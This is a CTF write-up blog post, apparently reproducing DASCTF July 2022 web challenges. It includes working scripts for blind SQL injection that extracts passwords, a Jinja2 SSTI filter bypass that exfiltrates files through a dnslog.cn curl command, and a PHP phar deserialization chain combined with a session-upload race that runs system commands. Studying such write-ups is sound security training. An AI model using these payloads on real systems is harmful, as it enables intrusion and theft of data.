当前位置:网站首页>DASCTF2022.07 empowerment competition WEB topic recurrence
DASCTF2022.07 empowerment competition WEB topic recurrence
2022-08-10 17:18:00 【Ki1ro】
前言
其实7I want to recreate it in a month,The subject matter seems to be of high quality,But he was too lazy to read it, so he put it on hold.Now I have the ability to come back and fill the hole,But the last question is still a bit difficult for me to understand,之后再研究研究.
复现
DASCTF|2022DASCTF7月赋能赛官方Write Up
绝对防御
知识点
sql注入-布尔盲注
js路径查找
复现过程
Enter the topic to view the source code,The home page is found to be a static image,Many are citedjs

我们通过JSfinderThis tool goes to find the relevant interface
找到一个php接口SUPERAPI.php,访问查看一下

View the source code to see the front-end pairget传入的'id'Parameters are strictly filtered

输入1或者2试了一下,会返回admin和flag


Guess here is onesql注入点,The front-end filtering can actually be ignored,Mainly the back-end filtering
We pass like thispayload进行fuzz测试,Returned when there is no filteringadmin,empty when filtering
?id=1 and 'if'='if'--+fuzz脚本
f = open("sqlFuzz字典.txt", 'r')
strs = f.readlines()
print("--------- 过滤字符")
for i in strs:
if "'" in i:
payload = f'1 and "{i}"="{i}"--+'
else:
payload = f"1 and '{i}'='{i}'--+"
time.sleep(0.1)
r = requests.get(url=url+payload).text
if 'admin' not in r:
print("--------- "+i)The following characters are roughly filtered
union, if, insert, update, sleep, benchmark, #, &sleep,union过滤了,So we use boolean blinds
盲注脚本
import requests
import time
url = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+"
# 爆列
# payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+"
# # 爆值
payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+"
r = requests.get(url=url+payload).text
time.sleep(0.1)
if(r'admin' in r):
max = j
else:
min = j获取flag

HardFlask
知识点
SSTI注入
复现过程
See that there is an input box,and has certain functions,You can try to guessSSTI注入
尝试{ {2*2}},发现被过滤
使用脚本fuzz一下
import requests
import time
url = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'
f = open("fuzz_dict.txt", 'r')
strs = f.readlines()
print("--------- 过滤字符")
for i in strs:
if "'" in i:
data = {'nickname':f"{i}"}
else:
data = {'nickname':f'{i}'}
time.sleep(0.1)
r = requests.post(url=url, data=data).text
# print(r)
if 'Hacker! restricted characters!' in r:
print("--------- "+i)Roughly filter characters
', }}, {
{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headersDouble quotes can also be used,So underscore worksattr加上unicode编码来绕过
{ {用{%来替代
之前尝试了lipsumChains or undefined classes don't seem to work
{
{lipsum.__globals__['os'].popen('ls').read()}}So still use the most common way of thinking
{
{"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}Find contains by scriptpopen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,I don't know if it's an environmental issue or what)
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
for i in range(500):
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)应该print没有了,So we tried takeout,Takeaway has been bugging me for a long time,试了bp的collaborator还有vps似乎都行不通,最后用dnslogTakeout can be successful
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'
# curl `cat f*`..0rpfo7.dnslog.cn
i =132
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
f'("{cmd}")' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
print(res.text)获得flag

Ez to getflag
知识点
phar反序列化
session文件竞争
任意文件读取
文件包含
复现过程
非预期解
Because the picture viewing page is not bannedflag,Can be read directly from arbitrary files,获取根目录下的flag

预期解
Read through image viewingupload.php,class.php,file.php的源码
先看一下class.php中uploadThe upload logic of the class
Use a whitelist to filter file suffixes,Strict filtering of file content,Looks like I want to upload onePHPTrojans are somewhat unlikely
The save filename is the filename of the uploaded filemd5值,So the file is known and controllable to us.
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
} Let's take a look at the logic of file reading,Filter many pseudo-protocols,但没有过滤phar伪协议
我们可以通过file_get_contents函数搭配pharPseudo-protocol to trigger the deserialization chain
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}The next step is to try to find the deserialization chain to exploit
我们可以通过Test类的__destruct方法作为起点,strControllable and it's printingstr,So you can find it contains__toString的类
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法
__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用.
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}Show类中含有__get方法,And he called an unknown method,Then we can try to find it__call魔术方法
function __get($name)
{
$this->ok($name);
}通过Show类中的__call方法,我们可以调用backdoor方法
我们来看看backdoor方法是什么
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}backdoormethod for file inclusion,$door我们可控,就是前面$size,Can be changed to the filename we want to include
public function backdoor($door){
include($door);
echo "hacked!!";
}Then we have to figure out a way,How to upload the files we include to the website,Also consider whether it can be included through the log,But on the file reading page, the attempt to read the log through the default path found that it failed,Possibly the path has been modified.
It's time to start thinkingsession文件竞争
构造pop链
<?php
class Test{
public $str;
}
class Upload {
public $fname;
public $fsize;
}
class Show{
public $source;
}
$test = new Test();
$upload = new Upload();
$show = new Show();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_Ki1ro';
// 生成phar文件
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>通过gzip文件压缩,Bypass content detection,将后缀改为png,绕过后缀检测
再上传文件
Now start writing, reading and uploading filessessionA two-threaded script for files
import threading, requests
from hashlib import md5
url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'
check = True
# 触发pharThe file is deserialized to includesessionUpload progress file
def include(fileurl, s):
global check
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'
params = {
'f': 'phar://upload/' + fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
print(res.text)
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(uploadurl, s):
global check
while check:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working';system('cat /flag') ?>"
}
cookies = {
'PHPSESSID': 'chaaa'
}
files = {
'file': ('chaaa.png', b'cha' * 300)
}
s.post(url=url, data=data, cookies=cookies, files=files)
def exp(url):
fileurl = url + 'file.php'
uploadurl = url + 'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争getshell
event = threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1, 5):
threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()
for i in range(1, 5):
threading.Thread(target=include, args=(fileurl, s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(url)
print('success')
获取flag

边栏推荐
猜你喜欢

植物肉,为何在中国没法“真香”?

Annual salary of 600,000+?This 100,000-word interview assault book covers all technology stacks from Ali P5 engineers to P7

Qt 绘图和绘图设备

How to use bitwise operators in C language

leetcode:281. 锯齿迭代器

挑战用五行代码轻松集成登录系统,实现单点登录

requests库访问接口

【JDK】Oracle又一个JDK大版本停止扩展技术支持

被大厂面试官参考的Redis笔记,堪称Redis面试天花板

训练一个神经网络要多久,神经网络训练时间过长
随机推荐
开源生态与AI芯片的碰撞&Dragonfly基于P2P的镜像加速系统 | 第 39-40 期
网易云信亮相LiveVideoStackCon2022,解构基于WebRTC的开源低延时播放器实践
ROBOTSTXT_OBEY[通俗易懂]
神经网络全连接层的作用,各种神经网络的优缺点
Knox 代理各类组件
v-show指令:切换元素的显示与隐藏
LeetCode-2. Add Two Numbers
Pytorch GPU模型推理时间探讨
How to generate code using the Swift Package plugin
一颗完整意义的LPWAN SOC无线通信芯片——ASR6601
Lua--table操作
promise笔记(四)
聊聊云原生数据平台
defi质押借贷理财挖矿dapp系统开发逻辑
电力系统潮流【牛顿-拉夫逊法】(4节点、5节点、6节点、9节点)(Matlab代码实现)
RMAN-08120的处理
excel-方方格子插件-正则表达式,快速清洗数据的方法
烟雾、空气质量、温湿度...自己徒手做个环境检测设备
JWT 实现登录认证 + Token 自动续期方案
pytorch 模型GPU推理时间探讨3——正确计算模型推理时间